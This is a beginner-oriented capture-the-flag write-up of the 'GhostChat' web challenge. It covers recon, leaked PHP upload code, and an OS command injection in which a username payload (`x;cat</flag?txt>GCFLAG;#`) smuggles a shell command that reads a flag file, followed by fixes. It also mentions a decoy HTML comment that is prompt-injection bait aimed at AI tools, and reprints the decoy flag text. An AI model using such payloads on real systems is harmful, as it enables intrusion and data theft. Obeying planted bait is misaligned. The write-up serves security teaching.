

# GhostChat — Web Challenge Full Writeup

**Category:** Web | **Difficulty:** Medium | **Vulnerability:** OS Command Injection

**Target:** `http://172.16.38.21:8889` | **Flag format:** `bcsctf{...}`

**Recovered flag:** `bcsctf{241782952d42700177880140953d104b}`

**Report generated:** Wed Sep 30 11:14:02 AM EDT 2026

**Who is this for?** This writeup assumes almost no prior knowledge. Every step explains *what* we did, *why* it works, and *what* the underlying concept means. New terms are explained in the Glossary at the end.

## 0. TL;DR (one-paragraph summary)

GhostChat lets you pick a username ("alias") and upload files. The server uses your **username as part of the uploaded file's name**, then runs an antivirus scan on it by building a **shell command as text** and executing it. Because the username is not properly cleaned, we can put shell commands *inside our username*. When we upload a file, our injected command runs on the server. We use it to copy the secret flag file into a public folder and then simply download it.

## 1. Reconnaissance (looking around)

**Goal:** understand what the application does and which URLs (endpoints) it talks to.

**What we did:** Opened the site, then opened its JavaScript file `/assets/script.js?v=3`. JavaScript often lists the server URLs the app calls, which is a free map of the attack surface.

The JavaScript revealed these API endpoints:

| Endpoint                                   | What it does                                            |
|--------------------------------------------|---------------------------------------------------------|
| <code>api/action.php?action=create</code>  | Create a new chat session and set your alias (username) |
| <code>api/action.php?action=join</code>    | Join an existing session                                |
| <code>api/action.php?action=fetch</code>   | Read messages                                           |
| <code>api/action.php?action=send</code>    | Send a message                                          |
| <code>api/action.php?action=destroy</code> | Delete the session                                      |
| <code>api/upload.php</code>                | Upload a file (this is the vulnerable one)              |

## STEP 1 RECON: landing page

# GhostChat

Ephemeral, Untraceable Messaging.

### Create New Session

Start a secure, self-destructing channel.

Your Alias (e.g. Neo)

Generate Secure Link

### Join Session

Connect to an existing secure channel.

Session ID

Your Alias (e.g. Trinity)

Enter Chat

## STEP 2 RECON: JS reveals API endpoints

```
document.addEventListener('DOMContentLoaded', () => {
  // Landing Page elements
  const btnCreate = document.getElementById('btn-create');
  const btnJoin = document.getElementById('btn-join');
  const landingStatus = document.getElementById('landing-status');

  if (btnCreate) {
    btnCreate.addEventListener('click', async () => {
      const alias = document.getElementById('create-alias').value.trim();
      if (!alias) {
        landingStatus.innerText = 'Alias is required.';
        return;
      }
      const formData = new FormData();
      formData.append('alias', alias);

      try {
        const res = await fetch('api/action.php?action=create', { method: 'POST', body: formData });
        const data = await res.json();
        if (data.success) {
          window.location.href = 'chat.php';
        } else {
          landingStatus.innerText = data.error;
        }
      } catch (e) {
        landingStatus.innerText = 'Server error.';
      }
    });
  }

  btnJoin.addEventListener('click', async () => {
    const sessionId = document.getElementById('join-session-id').value.trim();
    const alias = document.getElementById('join-alias').value.trim();
    if (!sessionId || !alias) {
      landingStatus.innerText = 'Session ID and Alias required.';
      return;
    }
    const formData = new FormData();
    formData.append('session_id', sessionId);
    formData.append('alias', alias);

    try {
      const res = await fetch('api/action.php?action=join', { method: 'POST', body: formData });
      const data = await res.json();
      if (data.success) {
        window.location.href = 'chat.php';
      } else {
        landingStatus.innerText = data.error;
      }
    } catch (e) {
      landingStatus.innerText = 'Server error.';
    }
  });
}

// Chat Page elements
const chatWindow = document.getElementById('chat-window');
if (chatWindow) {
  const messageInput = document.getElementById('message-input');
  const sendBtn = document.getElementById('send-btn');
```

## 2. Decoys (traps to avoid)

CTF challenges often plant fake flags to waste your time. Two here:

- `/flag.txt` exists but only says: *"To get the flag write a Research Paper on Nuclear Fusion..."* — a joke, not the real flag.
- An HTML comment on the landing page about "AI agents" and "Nuclear BOMBs" — a prompt-injection style bait aimed at AI tools. Ignore both.

To get the flag write a Research Paper on Nuclear Fusion and send it to DOD public contact.

### 3. Finding the bug: leaked source code

**What we did:** Fuzzed for hidden files (guessing common names) and found `/uploads/SRC`, which leaked the server's real source code for `upload.php`.

Here is the important part of the leaked code, line by line:

```
$sender = $_SESSION['alias']; // <-- our username

$search = ['$ ', '.', '*', ' ']; // characters it removes
$replace = ['_', '_', '_', '_']; // ...replaced with underscore
$sanitized_sender = str_replace($search, $replace, $sender);

$random_chars = substr(bin2hex(random_bytes(4)), 0, 8);
$filename = $sanitized_sender . '_' . $random_chars; // filename = username +
random
$filepath = '../uploads/' . basename($filename);
```

```
if (move_uploaded_file($file['tmp_name'], $filepath)) {  
    chdir('../uploads');  
    $safe_basename = escapeshellarg(basename($filename)); // SAFE version made...  
    $command = 'bash -c "nohup /usr/bin/clamscan --no-summary '  
        . $filename // ...but RAW one used!  
        . ' > /dev/null 2>&1 &";  
    exec($command); // runs it as a shell  
    command  
}
```

**The fatal mistake:** the developer created a safe, escaped version of the filename (\$safe\_basename) but then **forgot to use it** — the command is built with the **raw \$filename** instead. So whatever we put in our username lands directly inside a shell command.

#### STEP 4 VULN: raw \$filename in exec()

### Not Found

The requested URL was not found on this server.

Apache/2.4.68 (Debian) Server at 172.16.38.21 Port 8889

## 4. Understanding the vulnerability (in plain English)

**Command Injection** means the program builds a system command by gluing text together, and part of that text comes from us. If we add shell control characters, we can end the intended command and start our own.

The filter only removes these 4 characters: `$` `.` `*` and space. But it leaves these **dangerous** ones alive:

| Character         | What it does in a shell                            |
|-------------------|----------------------------------------------------|
| <code>;</code>    | Ends one command and starts another                |
| <code>&lt;</code> | Feed a file <i>into</i> a command (input redirect) |
| <code>&gt;</code> | Write output <i>into</i> a file (output redirect)  |
| <code>#</code>    | Start a comment — ignore the rest of the line      |

The command the server runs looks like this (our filename is dropped in the middle):

```
bash -c "nohup /usr/bin/clamscan --no-summary <OUR_FILENAME> > /dev/null 2>&1 &"
```

## 5. Building the payload (step by step)

We want the server to run: `cat /flag.txt > GCFLAG` — i.e. read the secret flag and copy it into a public file we can download.

**First try:**

```
x;cat</flag.txt>GCFLAG;#
```

Reading it piece by piece:

- `x` — a throwaway value where the filename was expected
- `;` — end that command, start ours
- `cat</flag.txt` — run `cat`, feeding it `/flag.txt`
- `>GCFLAG` — save the output to a file named `GCFLAG`
- `;#` — end our command and comment out the leftover junk

**Problem:** remember the filter turns `.` into `_`. So `/flag.txt` becomes `/flag_txt`, which does not exist. Our command fails.

**The bypass:** the shell wildcard `?` matches any **one** character. It is not filtered. So `/flag?txt` matches the real file `/flag.txt`. Final working username (payload):

```
x;cat</flag?txt>GCFLAG;#
```

## 6. Exploitation & getting the flag

### What we did (2 requests):

1. Create a session with our username set to the payload above.
2. Upload any file — this triggers the vulnerable `clamscan` command, which now runs our injected `cat` command in the background.

### STEP 5 EXPLOIT: username injects a shell command

```
# Step A: create a chat session, but set our username to the payload POST /api/action.php?action=create alias = x;cat</flag?
txt>GCFLAG;# server > {"success":true,"chat_id":"f0da5ceb11f9adc36fa89a33415d6a33"} # Step B: upload any file -> server runs clamscan
on our poisoned filename POST /api/upload.php (file = a.txt) server > {"success":true}
```

After a short wait, the flag has been copied to the public uploads folder. We just download it in a browser:

```
GET http://172.16.38.21:8889/uploads/GCFLAG ->
bcsctf{241782952d42700177880140953d104b}
```

## STEP 6 PROOF: flag written to /uploads/GCFLAG

```
bcscf{241782952d42700177880140953d104b}
```

## 7. Root Cause

User-controlled input (the alias) was placed into a shell command as plain text. A safe/escaped version was prepared but not used. A weak blocklist (only 4 characters) was relied on instead of a strict allowlist.

## 8. Impact

An attacker can run **any** command as the web-server user: read any file the server can read, write into public folders, and potentially pivot deeper into the machine. This is a critical, fully server-compromising bug.

## 9. How to Fix It

- **Never build shell commands from user input.** Use an argument-array process API so arguments can never be interpreted as shell syntax.
- If shell use is unavoidable, actually use the escaped value:

```
$safe = escapeshellarg(basename($filename));  
$cmd = 'nohup /usr/bin/clamscan --no-summary ' . $safe . ' > /dev/null 2>&1  
&';
```

- **Allowlist** the alias instead of blocklisting a few characters:

```
if (!preg_match('/^[a-zA-Z0-9_-]{1,20}$/', $alias)) die('Invalid alias');
```

This blocks ; < > # ` | and every other metacharacter.

## 10. Glossary (beginner terms)

| Term                   | Meaning                                                                |
|------------------------|------------------------------------------------------------------------|
| Endpoint               | A specific server URL the app sends requests to.                       |
| Recon                  | Reconnaissance — gathering info before attacking.                      |
| Fuzzing                | Automatically guessing many file/URL names to find hidden ones.        |
| Shell / Bash           | The program that runs system commands on Linux.                        |
| Command Injection      | Tricking a program into running our commands via unsanitized input.    |
| Payload                | The malicious input crafted to trigger the bug.                        |
| cat                    | A command that prints a file's contents.                               |
| clamscan               | An antivirus scanner the server runs on uploads.                       |
| escapeshellarg()       | PHP function that makes a string safe to use as one shell argument.    |
| Wildcard ?             | Shell symbol matching exactly one character in a filename.             |
| Redirect > / <         | Send a command's output to a file / read a file into a command.        |
| Allowlist vs Blocklist | Allow only known-good input vs. try to block known-bad input (weaker). |